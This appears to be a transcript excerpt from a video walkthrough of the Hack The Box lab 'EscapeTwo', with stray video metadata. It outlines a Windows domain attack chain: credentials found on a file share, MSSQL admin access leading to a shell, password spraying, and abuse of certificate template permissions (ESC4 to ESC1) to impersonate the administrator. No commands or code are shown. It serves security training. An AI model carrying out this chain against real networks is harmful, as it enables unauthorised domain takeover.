This is IPSC me doing escape 2 from hack the box which is an assumed breach style box meaning we start out with a set of credentials and these credentials let us access a lot of services but if we check out the fileshare we can find a spreadsheet that has a set of credentials and these credentials lead to cisadmin access over Microsoft SQL which we can use to get a shell on the box and looking at the install script for Microsoft SQL reveals another password which if we spray the domain leads to another user that has a right owner over the certificate authority a service account. So, we can take that account over, which lets us modify a certificate template, which essentially allows us to make that template vulnerable to ESC1, allowing us to impersonate the administrator user.", "start": 0.08, "duration": 0.0, "meta": {"video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4"}}

Let's now turn my dark reader back on. So I would recommend this part if you get confused, but essentially um ESC4 is a misconfiguration in permissions. I wouldn't call it exactly a certificate attack because um it's permission based, right? the when we looked at the certify output, we saw cert publishers could take ownership over a certificate and then modify it to become exploitable, right?
